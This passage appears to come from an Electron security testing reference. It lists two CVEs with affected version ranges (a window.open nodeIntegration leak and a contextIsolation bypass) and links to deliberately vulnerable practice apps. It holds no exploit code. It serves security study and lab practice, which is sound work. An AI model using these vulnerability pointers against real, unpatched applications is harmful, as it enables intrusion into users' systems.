| CVE-2022-21718 | < 13.6.6, < 14.1.0, < 15.3.0 | window.open nodeIntegration leak |
| CVE-2023-29198 | < 22.3.2, < 23.2.1, < 24.1.1 | contextIsolation bypass |

### Practice Targets

- DVEA (Damn Vulnerable Electron App): https://github.com/doyensec/electronegativity/tree/master/test
- ElectroVulnApp: https://github.com/nicowillis/ElectroVulnApp
- Electron Playground: https://github.com/electron/electron-quick-start (base for testing)
